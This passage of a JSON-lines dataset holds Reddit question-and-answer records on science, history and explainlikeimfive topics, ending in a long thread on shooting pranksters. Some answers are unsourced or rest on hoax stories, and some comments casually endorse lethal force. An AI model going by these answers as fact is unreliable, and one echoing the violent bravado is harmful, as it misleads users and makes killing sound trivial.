["http://chroniclingamerica.loc.gov/lccn/sn83030214/1901-01-01/ed-1/seq-1/"]]}
{"q_id": "xmjsw", "title": "How come animals in the wild do not have to warm up before running? ", "selftext": "What separates the muscles between us and animals? Why do we have to do 20 minutes of stretching and warming up to run 400m fast without pulling or tearing muscles, where as animals like cheetahs can run super fast from just laying down?\nAlso do animals even get pulled and torn muscles? \nThanks in advance ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/xmjsw/how_come_animals_in_the_wild_do_not_have_to_warm/", "answers": {"a_id": ["c5no8im"], "score": [10], "text": ["Warm ups have been shown to not be beneficial in any way. All it does is get blood and adrenaline flowing so it seems easier. I'm on my phone, but hopefully someone can link to the correct article that stated this fact."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4dpebr", "title": "What advances in psychology/psychiatry have led to the greatest increases in human welfare?", "selftext": "To be clear, I'm looking for specific therapies or drugs that have been incredibly successful at treating a particular psychological condition that had previously caused immense amounts of suffering.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4dpebr/what_advances_in_psychologypsychiatry_have_led_to/", "answers": {"a_id": ["d1t5nxd", "d1tu5zu", "d2c3mki"], "score": [20, 2, 2], "text": ["There have been a large number of advances that have greatly increased human well-fare, but if I had to choose one,  I would have to say the development of Cognitive Behavioral Therapy (CBT). CBT has been extremely effective in treating major depressive disorder and has since been adopted to treat a large number of disorder including anxiety, eating, mood, ADHD, and many many more. CBT is very adaptive and can be tailored to the individual. It has a very solid theoretical framework and has been extensively examined in the literature. It is one of, if not the most, often-used and popular therapy technique today.  \n\nHere are some studies that used CBT to treat a wide variety of disorders:\n\nWiles, N. J., Thomas, L., Turner, N., Garfield, K., Kounali, D., Campbell, J.,  &  ... Hollinghurst, S. (2016). Long-term effectiveness and cost-effectiveness of cognitive behavioural therapy as an adjunct to pharmacotherapy for treatment-resistant depression in primary care: Follow-up of the CoBalT randomised controlled trial. The Lancet Psychiatry, 3(2), 137-144. doi:10.1016/S2215-0366(15)00495-2\n\nMothersill, K. (2016). Enhancing positivity in cognitive behavioural therapy. Canadian Psychology/Psychologie Canadienne, 57(1), 1-7. doi:10.1037/cap0000045\n\nBerle, D., Moulds, M. L., Starcevic, V., Milicevic, D., Hannan, A., Dale, E.,  &  ... Brakoulias, V. (2016). Does emotional reasoning change during cognitive behavioural therapy for anxiety?. Cognitive Behaviour Therapy, 45(2), 123-135. doi:10.1080/16506073.2015.1115892\n\nEwing, D. L., Monsen, J. J., Thompson, E. J., Cartwright-Hatton, S.,  &  Field, A. (2015). A meta-analysis of transdiagnostic cognitive behavioural therapy in the treatment of child and young person anxiety disorders. Behavioural And Cognitive Psychotherapy, 43(5), 562-577. doi:10.1017/S1352465813001094\n\nBattagliese, G., Caccetta, M., Luppino, O. I., Baglioni, C., Cardi, V., Mancini, F.,  &  Buonanno, C. (2015). Cognitive-behavioral therapy for externalizing disorders: A meta-analysis of treatment effectiveness. Behaviour Research And Therapy, 7560-71. doi:10.1016/j.brat.2015.10.008", "Perhaps social cognitive theory, for its central role in the field of health promotion. \n\nHere's a study that looks at theories used in health promotion:\n\nGlanz, K.,  &  Bishop, D. B. (2010). The role of behavioral science theory in development and implementation of public health interventions.\u00a0Annual review of public health,\u00a031, 399-418.\n\nAnd Bandura articles about SCT for health promotion:\n\nBandura, A. (2005). The primacy of self\u2010regulation in health promotion.Applied Psychology,\u00a054(2), 245-254.\n\nBandura, A. (2004). Health promotion by social cognitive means.\u00a0Health education  &  behavior,31(2), 143-164.", "I would place Kahneman's and Tversky's very prolific work in studying decision making biases to be pretty high up there in terms of the contribution level of specific researchers.\n\nB. F. Skinner's work on behaviorism, and Jean Piaget's work on child mental development are both I'd say roughly equally extremely influential on any policies related to learning like education and workplace motivation, etc.\n\nAnd Freud not so much for his specific pet methods and explanations but for his important cultural influence in convincing people that mental dysfunction in general has a measurable / manipulable / understandable / physiological correlate and can in general be systematically investigated and addressed."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "8a6vgd", "title": "how do game developers set up servers all around the world?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8a6vgd/eli5_how_do_game_developers_set_up_servers_all/", "answers": {"a_id": ["dwwc33z", "dwwc6qt"], "score": [2, 2], "text": [" >  Do they have to physically set up the server in a specific region?\n\nSomeone does, but usually they outsource the task to local vendors. For example Amazon provides a large amount of hosting services for other organization due to their need for variable web hosting demand (Christmas shopping introduces far more traffic than other times of the year).", "Yes, having been working at a Game Service Provider, it is best to have the game server as close as possible to those who would use it so the latency our ping is as low as possible. This ensures the gamer has the best response time in game, experiences no lag, and the server can offer the best performance in game. There are datacenters all over the world where these dedicated servers would live."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "7zsxaa", "title": "Does knowledge have mass? If so, how much does it weigh?", "selftext": "This may be a stupid question, but as I was running today, I was thinking that as we gain knowledge, we gain more information in our brain, so in a way does that knowledge have mass and does it have weight as you sort of \u201ckeep\u201d it in your brain? Thanks! Just curious and I couldn\u2019t find similar questions that were already on this sub. ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/7zsxaa/does_knowledge_have_mass_if_so_how_much_does_it/", "answers": {"a_id": ["duqo4xr"], "score": [22], "text": ["Information doesn't (necessarily) have mass. In the most basic principle, information is how existing mass or energy is organized.\n\nFor example, a Morse Code transmitted using light flashes. If you send the light at random, you have no information, but if you send light in a pattern, you have information.\n\nOur brains store information in a similar way - certain chemicals, cells, and electric signals put in the right order create information. If you disrupt the order, you lose information. At no point do you gain or lose mass."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "8nx2sa", "title": "It is commonly believed by some people that American policy is the result of \"Zionist influence\" or other antisemitic conspiracy theories. Let's flip this around. Have there been historical concerns in Israel about excessive American influence?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8nx2sa/it_is_commonly_believed_by_some_people_that/", "answers": {"a_id": ["e03rvwe"], "score": [7], "text": ["Absolutely! This is a really great question. Not a lot of people are aware that while there is a conspiracy theory about Jewish or Israeli influence historically in the United States, Israel (and many other countries) have often claimed American interference in their domestic affairs.\n\nPerhaps the best place to start would be the most recent example of this that we can talk about in the 20-year rule. The 1999 election in Israel was contentious, but unfortunately falls just outside of our sphere, so I won't go into that. I'm a strict adherent to that rule. I try not to bend it.\n\nInstead, I'll look to 1996, where Prime Minister Benjamin Netanyahu won the Prime Minister spot in one of the most contentious elections in Israeli history. This election, which took place in the unusual (and soon-ditched) system of voting separately for the Knesset (Parliament) and for the Prime Minister, pitted Netanyahu against the acting Prime Minister, Shimon Peres. This system was different, because typically the Prime Minister is selected from within Parliament, usually by the party that gets the most seats (or, sometimes, from the party that can form a coalition with the seats/allies it has, if it comes in second, and the top party cannot form a coalition government). 1996 was the first time that the Prime Minister slot was allocated by a separate ballot, which made the election far more about personalities of leaders than prior elections.\n\nThis election also followed the assassination in 1995 of Yitzhak Rabin by a far-right Israeli named Yigal Amir, who opposed the peace process with the Palestinians. The assassination of Rabin shocked the nation, and was based on a unique (and, most Jewish scholars agree, absurd) set of reasoning pushed by a fringe subset of rabbis that permitted violence against a \"rodef\" (pursuer). Amir, and some fringe theologians, argued that Rabin was a \"rodef\", because his goals would bring harm to other Jews, and therefore this was justification for his murder. Suffice to say, this was not the opinion of the vast, vast majority of Jews or Jewish scholars, and Rabin's assassination added an even more challenging wrinkle to the election as far as its emotional value and impact, particularly since, Peres was Rabin's Minister of Foreign Affairs and one of his closest allies. Those familiar with the Oslo Process may recall [this photo](_URL_1_) of Rabin and Arafat shaking hands, related to the signing of the Oslo Accords. [This photo](_URL_0_), from the same event, shows Peres himself at the table, as Rabin, Arafat, and President Clinton stand back as well. Peres was integral to Oslo, and the 1996 election was seen as integral to the continuation of the peace process as well.\n\nAll of this is to lay out the setup for this election. But there's yet another wrinkle: Netanyahu himself was accused of aiding, or at least ignoring, incitement that may have encouraged Yigal Amir. It's unclear how much of a direct impact that could have had on Amir, and chances are it wasn't much, but the general air in which the Israeli right-wing parties conducted themselves, and the speeches of some of their officials, were quite incendiary and could have been worsened by their speeches. Netanyahu himself claims he was not inciting any violence, particularly not against Rabin. He points to speeches he gave specifically stating that violence was *not* the solution to political differences, saying in one rally to a crowd chanting that Rabin was a \"boged\" (traitor) in April (the assassination was in November) that:\n\n > He [Rabin] is not a traitor. He\u2019s not a traitor. He\u2019s mistaken. He\u2019s greatly mistaken. And he will end up stepping aside. But he\u2019s not a traitor. He is not a traitor. No, no. No, he is not. We are dealing with political rivals, not enemies. We are one nation.\n\nIn October 1995, a news report stated that:\n\n > The crowd chanted \u2018Rabin Traitor\u2019 and Mr. Netanyahu silenced them, saying such calls do not belong here. \u2018We will not replace the government through fire and blood but through the ballot box, and through it alone.\n\nEven so, Netanyahu's general rhetoric and the inflammatory scene in general, as well as the sense that Netanyahu was fanning the flames behind the scenes, led to a *lot* of bad blood going into the election.\n\nEnter America.\n\nThe President, Bill Clinton, had a clear preference. He makes no secret of it today, saying that he tried to help Peres win in 1996, without being too \"overtly involve[d]\". Clinton liked Peres, and thought Peres would be more supportive of furthering the peace process. That's not to say that Clinton didn't work with Netanyahu whenever possible after Netanyahu won. But that is to say that Clinton's preference manifested itself in ways that attempted to tip the scales. Netanyahu was aware of it too, Clinton says. That's just how things went. Relations were always tense after that between the two men, despite some minor achievements. So what did Clinton do? It's unclear how personally involved he was in the actions, but some hackles were raised over the positioning of Peres by Clinton. Clinton organized an international peace conference of sorts to boost Peres's standing, and praised him profusely during the lead-up to elections. He pledged new US aid to Israel, and they coordinated public messaging.\n\nRead my reply to this comment to continue."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://static01.nyt.com/images/2013/08/31/opinion/global/31iht-edsavir31/31iht-edsavir31-master1050.jpg", "https://upload.wikimedia.org/wikipedia/commons/f/f2/Bill_Clinton%2C_Yitzhak_Rabin%2C_Yasser_Arafat_at_the_White_House_1993-09-13.jpg"]]}
{"q_id": "8w2lqt", "title": "why is banning half of r/thanosdidnothingwrong such a big deal?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8w2lqt/eli5_why_is_banning_half_of/", "answers": {"a_id": ["e1s6v6j"], "score": [4], "text": ["Because it's a fun thing to do based on Thanos' philosophy of needing to reduce the population in half."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5h0ez3", "title": "On Apr 2, 1917, the US declared war on Germany. It declared war on Austria-Hungary on Dec 7, 99 years ago today. Why the long delay? Was there hope that the Central Powers could be divided? And what were US relations with Bulgaria and the Ottomans?", "selftext": "Was the US planning on playing a role as a potential mediator between the other warring nations? I only see declarations of war for Austria-Hungary and Germany.\n", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5h0ez3/on_apr_2_1917_the_us_declared_war_on_germany_it/", "answers": {"a_id": ["dax92yt"], "score": [89], "text": ["Woodrow Wilson's speech to Congress requesting for a declaration of war on Germany referred to the other Central Powers in this way (in bold for my emphasis):\n\n > I have said nothing of the Governments allied with the Imperial Government of Germany because they have not made war upon us or challenged us to defend our right and our honour.  The Austro-Hungarian Government has, indeed, avowed its unqualified endorsement and acceptance of the reckless and lawless submarine warfare adopted now without disguise by the Imperial German Government, and it has therefore not been possible for this Government to receive Count Tarnowski, the Ambassador recently accredited to this Government by the Imperial and Royal Government of Austria-Hungary; **but that Government has not actually engaged in warfare against citizens of the United States on the seas, and I take the liberty, for the present at least, of postponing a discussion of our relations with the authorities at Vienna.  We enter this war only where we are clearly forced into it because there are not other means of defending our rights**.\nIt will be all the easier for us to conduct ourselves as belligerents in a high spirit of right and fairness because we act without animus, not in enmity towards a people or with the desire to bring any injury or disadvantage upon them, but only in armed opposition to an irresponsible government which has thrown aside all considerations of humanity and of right and is running amuck.\n\nSince the casus belli was Germany's unrestricted submarine warfare, Wilson's initial request to Congress dealt purely with that.\n\nBy December Wilson went back to Congress requesting a declaration of war on Austria-Hungary with the justification that it was essentially a vassal of Germany and therefore needed to be dealt with . It also explains why the US did not end up declaring war on Bulgaria and the Ottoman Empire. (Pertinent sentences bolded by me for emphasis)\n\n > What shall we do, then, to push this great war of freedom and justice to its righteous conclusion? We must clear away with a thorough hand all impediments to success and we must make every adjustment of law that will facilitate the full and free use of our whole capacity and force as a fighting unit.\nOne very embarrassing obstacle that stands in our way is that we are at war with Germany but not with her allies. I therefore very earnestly recommend that the Congress immediately declare the United States in a state of war with Austria-Hungary. Does it seem strange to you that this should be the conclusion of the argument I have just addressed to you? It is not. It is in fact the inevitable logic of what I have said. **Austria-Hungary is for the time being not her own mistress but simply the vassal of the German Government. We must face the facts as they are and act upon them without sentiment in this stern business. The government of Austria-Hungary is not acting upon its own initiative or in response to the wishes and feelings of its own peoples but as the instrument of another nation.** We must meet its force with our own and regard the Central Powers as but one. The war can be successfully conducted in no other way. **The same logic would lead also to a declaration of war against Turkey and Bulgaria. They also are the tools of Germany. But they are mere tools and do not yet stand in the direct path of our necessary action. We shall go wherever the necessities of this war carry us, but it seems to me that we should go only where immediate and practical considerations lead us and not heed any others**\n\nRef:\n \nScott, James Brown. *War Between Austria-Hungary and the United States*\nThe American Journal of International Law, vol. 12, no. 1, 1918, pp. [165\u2013172](_URL_2_)\n\nWoodrow Wilson's [Address](_URL_1_) to a Joint Session of Congress Requesting a Declaration of War Against Germany, April 2, 1917\n\nWoodrow Wilson's [Fifth Annual Message](_URL_0_), December 4 1917"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.presidency.ucsb.edu/ws/?pid=29558", "http://www.presidency.ucsb.edu/ws/index.php?pid=65366&amp;st=&amp;st1=", "www.jstor.org/stable/2187624"]]}
{"q_id": "2r0apo", "title": "what would happen legally if a \"prankster\" was shot and killed?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2r0apo/eli5_what_would_happen_legally_if_a_prankster_was/", "answers": {"a_id": ["cnb6kzg", "cnb6om5", "cnb6qrt", "cnb77wp", "cnb7ytz", "cnb82ay", "cnb8vq4", "cnb91xd", "cnb96wk", "cnb9irj", "cnb9o7c", "cnb9s81", "cnb9viq", "cnba3sq", "cnbad4x", "cnbadur", "cnbak5i", "cnbakc3", "cnbarfl", "cnbayvf", "cnbb13g", "cnbb2hm", "cnbb3k8", "cnbb7yv", "cnbbai9", "cnbbi5u", "cnbblux", "cnbblx7", "cnbbvth", "cnbbyst", "cnbbz7w", "cnbc6fg", "cnbci7x", "cnbcvci", "cnbd9q8", "cnbdem3", "cnbdww8", "cnbebm0", "cnbefpi", "cnbehdy", "cnbeqxr", "cnbet49", "cnbf6dp", "cnbf8am", "cnbff8s", "cnbfht9", "cnbfl9j", "cnbg074", "cnbg4f0", "cnbggk7", "cnbgwf8", "cnbh2bl", "cnbh2tc", "cnbhhyg", "cnbhpd7", "cnbi73y", "cnbif3c", "cnbihtn"], "score": [3146, 82, 7, 12, 28, 35, 3, 15, 697, 38, 19, 4, 248, 2, 14, 202, 9, 2, 14, 6, 7, 3, 8, 6, 3, 27, 2, 2, 7, 9, 7, 2, 14, 2, 12, 256, 2, 2, 6, 3, 2, 8, 6, 9, 3, 2, 2, 3, 3, 10, 2, 8, 3, 2, 3, 2, 9, 2], "text": ["If the person being \"pranked\" had reasonable cause to believe their own or someone else's life was in danger, they might well get off by vitrue of self-defense. This is why it's a really fucking dumb idea to do this kind of shit, especially to complete strangers. It's just a matter of time before someone gets hurt or killed.", "Assuming the weapon and effects used to simulate the death were realistic enough, the person could very easily claim self defense.", "I don't know how to mark it buts its been explained", "i'd think it would be counted as self defense. The person getting pranked could say that they jumped out, and they felt threatened.", "There's that one from Russia where a prankster got into a mailbox and would toss out the mail as people tried to put it.  Well one guy comes along and doesn't find it funny so pulls his pistol and unloads it on the prankster. No threat of life, but given its Russia the guy probably didn't have to deal with any legal action.\n\n\nEdit: I think this is the original _URL_0_ it does say the guy was sentenced to life in prison, but I haven't ever seen definitive proof that this is real either. \n\nEdit2: Since we have established that this is fake, it has become symbolic to the death of my inbox. Have a good new year everyone. ", "Close enough \n_URL_0_", "Probably a manslaughter charge or if the prankster really looked threatening they might get off with self defence. It depends on the case and how good the defences lawyer is.", "If there is a group of them conspiring to do this, then the other pranksters could be charged with murder. Many states have laws that if someone dies as a result of you committing a dangerous crime, you are responsible. This and many legal topics are explained in [The Illustrated Guide to the Law](_URL_0_).", "The person playing the prank would be culpable for their actions like anyone else. I am waiting for this to happen. The rash of \"Extreme\" pranking on YouTube over the past few years is concerning. One of the worst I've seen is a video where the people doing the prank ask a stranger to use their cell phone, then runs away with it. After being chased down, they then explain it's all \"just a prank\". So, basically they are committing theft, then saying \"Just kidding\". Horrible precedent. Then you have the \"Scare\" videos, where they will chase strangers with a chainsaw in a clown costume or jump out of a bush wearing a mask. One day someone is going to die from a heart attack from this or pull out a gun in fear. I can see some sort of laws introduced in the next few years regarding \"pranking\". It's getting way out of hand and will get worse. All of the top YouTube channels doing this are actively trying to one up each other in each video. ", "_URL_0_\n\nNothing very serious can happen to the killer if you are fearing your life.  This one happened in Colorodo!", "There'd be a lot less prank videos, that's what..", "we'd have Nutella on booty every year to mark the anniversary.", "How are these \"pranksters\" not being charged with attempted robbery or whatever they're doing. It seems like anyone can commit a crime and yell \"It's a prank!\" if they botch it.", "On a side note... Russian Roulette isn't exactly a new concept, this is just the latest incarnation ", "On Halloween last year, I was going for my normal walk before bed. A young man in an Edward Scissorhands costume ran at me screaming. Without thinking, I spun around and punched him. He ran away with his friends laughing at him.\nNothing came of it, but I wonder what would have happened if I hurt him.", "Attorney here. The short un-nuanced explanation is that you are entitled to a certain level of self defense proportional to the extent the \"prank\" appears to be putting you or someone else in a position of bodily injury or harm and/or to protect your property.\n\nThat being said, these situations can create a lot of grey areas. What if someone \"pretends\" to steal your stuff and then screams it's a prank and stops running as you get close to him. What if you punch him in the face to wrestle your phone back? Unfortunately different juries might have different ideas about what's reasonable in that scenario.", "Take everything in this thread with a pinch of salt. Notice there are no lawyers answering. The fact is it would not be as cut-and-dried as people are claiming. They are imposing their own opinions and biases on the situation. There would be a long trial that honestly might go either way.", "This happened in my town years ago when a kid was playing ding-dong ditch. The guy who shot him did jail time and then was sued by the parents of the kid. [Here is the article.](_URL_0_) \nI remember parents and teachers telling us kids to never mess with people at night because they were afraid another incident like that could happen.", "There was a show that used to be on called \"Scare Tactics\" that did pranks on people to scare them. When I watched it on youtube I started to notice that they were very careful about all of this. All of their \"victims\" were recommended to them by friends-they were never just random people. In every situation they were very careful to never *directly* threaten their target; they would always threaten them by implication. (So a dangerous looking guy might \"attack\" someone else in the scenario but would never attack the target and would never *actually* threaten to kill them or the like.) \n\nThey were also careful to make sure that the target never had any weapons. In [this](_URL_1_) episode the target was preparing snacks for a party. Notice how she only has spray cheese and crackers? There are no knives in this kitchen that she could use to actually hurt someone.\n\nThey also did another version of their show called \"Fear Antics\" where the \"target\" was actually the host of the show. (They would get an aspiring actor to think that they were the new host of a hidden-camera \"fear\" show but really the aspiring actor was the target and everyone else was in on it.) You can see examples [here](_URL_0_) and [here](_URL_2_) where the real victim (the host) finds out what the consequences of poor selection of prank targets can be.\n\nEven in spite of all of this if the target victim in the show had ever fought back then the actors and producers of the show probably would have been SOL in court.\n\nSo to sum up yes it's a concern that you need to think of.", "This prank for example would clearly warrant a violent response. \n_URL_0_", "That's why you should prank people you know, not just random strangers. However, I wouldn't feel bad if this happened to those jerks that ambush people by knocking them out and call it a game", "The REAL question is who is going to get shot first?  Vitaly?  Roman?  Those crazy fucking BRs with their killer clown pranks and stuff?", "Followers of the Darwin Awards would laugh their collective asses off.\n\nThe media would blame the dread hacker named 4chan.\n", "I can see this happening especially with those \"hood pranks.\" They aren't even funny most of the time and just incredibly stupid. ", "Legally?  They would perform no more pranks.", "This may or may not be the same but a few years ago somewhere in the USA a group of young guys pulled up because a truck at night with paintball guns and fired a few shots at the truck for a joke. The driver was parked with his girlfriend I think it was, heard the shots and impacts, and returned fire with a firearm.\n\nEnd result was one idiot dead and the guy with the real gun not getting charged. He couldn't tell they were using paintball guns and it was just a spur of the moment thing, nothing he could do but defend himself or flee. Considering he was in a parked truck at night and he was already under fire, I believe he did the right thing.", "[This happened in Colorado not to long ago...](_URL_0_)\n\nThe person was charged for a few things, but not for the murder itself.  So essentially, the act brought attention to things done wrong, but the killing was justified under law.", "One guy named Sam Pepper actually caught sexual harassment charges because of his pranks\n\n_URL_0_", "If they lived in the UK they wouldn't have a gun to pull. ", "This already almost happened to vitalyztv. During his zombie scare prank he ran towards a group of black men and one pulled a gun on him. It might even be on camera. Pretty crazy yet he still decides to do the stupidest pranks", "If he yells out \"It's a prank!\" three times, he will be protected by the law. ", "Depending on the jurisdiction (UK/USA/wherever) then it would be lawful. There's no easy way to tell a toy gun from a real gun so if the prankster is shot and killed during a prank, *fool's on them*. \n\nIf someone points a gun on you on the street, you don't know how you're going to react - but there's always that chance that you are going to snap and that prankster is going to get their arse handed to them. Who knows how far you'll go when faced with what you perceive to be a deadly weapon. \n\n[Reminds me of these pranksters being arrested by armed police in London](_URL_0_)\n\n**tl;dr** depends on the circumstances of the case individually, but it would probably be justified. Here in the UK, a coroner can rule the cause of death as \"death by misadventure\". ", "The prank that really is going to get someone killed is so-called \"swatting.\"  I'm amazed it hasn't happened already.", "The majority of them are scripted actors anyway, especially the larger channels.", "Each State in the US varies (and I have no experience otherwise) but here in PA I can tell you that the law allows you to act based on the situation as you see it at the time and to defend someone, using lethal force, if you believe their life to be in danger.\n\nIf I was in a parking garage and I saw a guy/girl crawling away from some guy holding a machete or chainsaw I would shoot the guy with the weapon so many times he wouldn't get to regret it later. No warning, no \"drop the weapon\", just *bangbangitybangbangbangbangbangbangbangbangbang* and a quick reload.\n\nSucks for him but the assumption has to be that any reasonably perceived danger is real and one has the right to act so as to protect the life of another based on that reasonable perception.\n\nBasically, don't do stupid things.", "Jury: We find the defendant... not guilty. \n\n**Uproar**\n\nProsecution: Your honor! This can't be real! You can't allow this to happen.\n\nJudge: Bro it was a prank. It was a prank! BRO IT'S A PRANK!", "It would go viral and there would be a lot fewer of these stupid videos being posted.  ", "I would guess in this case: _URL_0_ it would be okay to shoot the pranksters because the guy in the bathroom actually thought his life was over.", "Rant in 3...2...1...\n\nPranks are supposed to be funny.  Everyone involved should be laughing/smiling at the end of the prank.  Pranks get the \"victim\" riled up with some type of emotion \"fear, anger, confusion\".  \n\nThe best part of any prank is the prank reveal I like to call this the \"aftermath.\"  When it is revealed to a victim that what they just experienced was a prank is always hilarious.  \n\nGoing up to someone and saying/doing mean things and then calling it a \"prank\" is not a prank.  \"Hey man your wife is fat ass shit.  And you're trailer trash.\"  * *Victim is visibly angry* *  \"No you don't understand man it's a prank, see look at the camera you're on Youtube hahaha.\"  Those aren't pranks they are dumb and not funny.  The spilt gallon of milk prank is not funny either it's wasteful and dumb.  Kids these days don't understand what a \"prank\" is.  \n\nPranks toy with someone's emotions at first then at the end everyone gets a good laugh.  \n\nHere's a very simple example of a prank.  \n_URL_0_\n\nStay on this track and you'll never have to worry about getting shot.\n\n/end rant", "There was some prank video by some you tubers where they played gunshots on a radio in a ghetto neighborhood and some dude pulled a gun and starter shooting.. made me stop watching them completely after that.", "I suspect that many of these \"pranks\" are fakes, and the \"victims\" are in on it. ", "Michigan: Teen Playing The Knockout Game Gets Shot Twice By Victim    \nWeaver survived the shooting and was sentenced to a year in jail for the attack. He now regrets playing \"knockout\" and admits he got off easy for it.   \n\n\"It was just a lesson learned. I wish I hadn't played the game at all,\" Weaver told WILX.\n\n_URL_0_   \n\n_URL_1_", "It's no different than in cases where someone gets gunned down by police when they've been brandishing a fake weapon.  You don't exactly have time to sit there and determine if that weapon is in fact fake or not.  For example, California law (only state law I've studied) allows for use of potentially lethal force in self-defense when in fear of death or great bodily harm.  Since it would very easily fall under one of those two, you likely would be covered under self-defense laws.", "\"videos whrre they pretend to kill someone or walk at the victim with a weapon.\"\n\nThat is brandishing and demonstrating intent to cause bodily harm. No court I know of would try the \"victim\" of the prank who shot said prankster. Especially if there is a video of it which these idiots always have being for youtube and all.", "I've said it a bunch of times... if someone were to prank me and I didn't know what was going on and I felt in danger... I'd end up shooting someone. I'd feel terrible afterward, but it would be justified. \n\nKey takeaway: DONT PRANK PEOPLE IN A WAY THAT MAKES THEM FEEL THEIR SAFETY IS IN DANGER.", "_URL_0_\n\nWho *wouldn't* shoot this clown?", "It's not actually a prank until some one says so", "When you play the game of pranks, you win or you die.", "It will happen and I won't feel sorry for the prankster.  Especially because the \"pranks\" aren't even funny in the first place.  ", "I'm late and the answers here just don't seem to totally satisfy what I see. Most are correct and probably are all you want but my ADHD is bad right now and I'm a little too focused in on detail.\n\n\"What could happen?\"\n\nIt all depends. Many answers here say that a gun may be pulled and the prankster gets shot. Shooter would, in some cases, get off Scott-free.\n\nThere are several steps someone has to take before resorting to a firearm. They have to ask themselves:\n\n* Is there a threat?\n\n* Can I dissuade them verbally?\n\n* Are others in danger?\n\nYou can't just pull out your gun and shoot. A firearm is a last resort, not an option. If someone is harassing you as a prank there is no legal ground here if it's only verbal provoking. However, your example is more of assault. What if someone came out of nowhere with a chainsaw? What if they start throwing punches?\n\nDepending on local laws you may not even have to retreat. If I'm in a public parking lot and I'm being rushed I don't have to take a single step back. I can hold my ground. In other states/jurisdictions I may have to shout at them to stop, a sign that I'm trying to avoid confrontation. If the attacker/prankster is far enough away I might have to wait before drawing my handgun. I can't say, \"I have a gun! Leave me alone!\" That's a threat and verbal provoking.\n\nI know I'm all over the place. Let's get back in line. I'm being rushed by someone with a chainsaw. The chainsaw is revving, an obvious sign of danger. I don't have to stop and observe if the chain is actually on it. I can draw my firearm. They are 20 feet away and closing in fast. I draw my firearm and aim. The prankster balks, halting their momentum and lowering the chainsaw. It's too late. I squeeze off a round.\n\nThe round hits them. If it's not lethal I might shoot again. Is the prankster still coming in my direction? Did they collapse? Is there still immediate danger? If not, if they are *incapacitated* but **not** *dead* I cannot fire again. The threat is neutralized. If I fire again and terminate them it can be considered a \"kill,\" a word no concealed handgun licensee wants to have in court. They're on the ground bleeding, shouting, \"The **** man! It was a prank!\"\n\nNews media is all over it. \"Prankster shot during act\", \"Concealed Carry shoots innocent prankster\",\"Prank turns grim\",\"Don't shoot me bro!\" It becomes a hype where every politician begins to attack issues that have nothing to do with the situation. Criticism falls on the prankster for their action, a \"prank\" equivalent to assault. Many agree that while the act was innocent it did not appear to be a prank to those it was directed to. Was the shooter justified in their action? Will a civil lawsuit follow?\n\nThis gets drowned out by political asshats. \"Gunner shoots down prankster.\" It becomes a big thing where controversy surrounds the firearm. \"It was an innocent prank, he didn't have to get shot.\" \"The shooter overreacted at what was a harmless action.\" Details get mixed up and overhyped. In the background the \"raw footage\" is released on YouTube. Viewers begin to criticize the prankster for his actions and a small crowd suddenly becomes a qualified legal authority who says that guns are dangerous and the shooter should be punished. Add that on top of the whole \"conservative vs liberal\" bullshit that goes on for 700+ comments.\n\nTrial comes up and the shooter is cleared of all charges on the grounds of fearing for his life and the situation concocted by the prankster. The prankster was in a seeming act of assault and all blame lies upon them. Unsatisfied, the prankster takes the shooter to civil court under a lawsuit to cover his medical bills. From there it's anyone's game depending on their lawyers, but I would like to think that shooter was again cleared. Twitter goes up in activity over the whole thing: \"You can shoot innocent prankster.\" Arguments and arguments go on and for *weeks* discussions of gun laws remain as a focus.\n\nIf the shooter is found guilty \u2014 unlikely unless local laws have a loophole \u2014 they will pay the prankster and \"justice will be served.\" The shooter is then stripped of their concealed carry permit and has to pay the bills. Gun Rights Advocates create an uproar over this given that the law clearly states that the use of a firearm is justified if a danger to life is present. The shooter is then crucified on news media over their actions. Had they fatally shot the prankster it could have all been avoided because a civil lawsuit would never have taken place.\n\n\n**TL;DR? You serious?**\n\nIt becomes a stupid issue of politicians sword-fighting with their dicks and the prankster trying to get support from their \"loyal fanbase\" to push for condemnation on the shooter/person pranked. News media becomes a shitstorm and the shooter has all charges dropped. But \"justice had failed\" because the shooter got off scot-free. No laws are made but YouTube discourages prank videos to be posted. The aftermath results in the prankster being drowned in a pool of criticism, guns are claimed to be dangerous, and the shooter loses their job and marriage over the whole thing. Nobody wins and Reddit upvotes the news article to 3k karma and 12.4k comments. Am AMA is requested, declined, and two weeks later it becomes history.", "This will happen someday and then some precident will be set. It's only a matter of time", "I don't know if it has been mentioned, but I immediately thought of this: _URL_0_\n\nThe teenager approached a couple of Vice Lord gang members and said, \u201care \nyou ready to dye\u201d. Before the teen could pull out a bottle of Clairol \nhair dye to insinuate that he meant dying his hair, one of the gang \nmembers pulled out a .22 and shot Wilson multiple times in the head. \nThe teenager was rushed to the University of Chicago Medical Center where he was pronounced dead upon arrival. Wilson\u2019s\nfriend filmed the entire altercation and has submitted the video to the\nlocal police. So far, no arrests have been made\n", "My thought is that one day a prankster will be shot and states will then take action and pass laws against pulling pranks on strangers to an extent. ", "Keep in mind a lot of those prank videos are filled in countries where it is illegal to carry guns. ", "This all may be true,  but i think most of us would be lying if we said we didn't enjoy watching a dumbass white kid going into the hood and nearly getting killed pulling off pranks. ", "What would happen if somebody shot and killed a Youtube prankster? Reddit Gold for life.", "In allowed use of deadly force explanations it is often pointed out that it is not required for there to be an actual deadly threat but the belief that there is a threat to life that prompted the use of deadly force to defend ones self. \n\nA good example would be a toy gun painted to look like a real gun or even an unloaded gun pointed at you in a threatening manner. Even though neither gun can kill you and you are not actually in danger, the reasonable belief that you are in danger is justification to defend yourself with 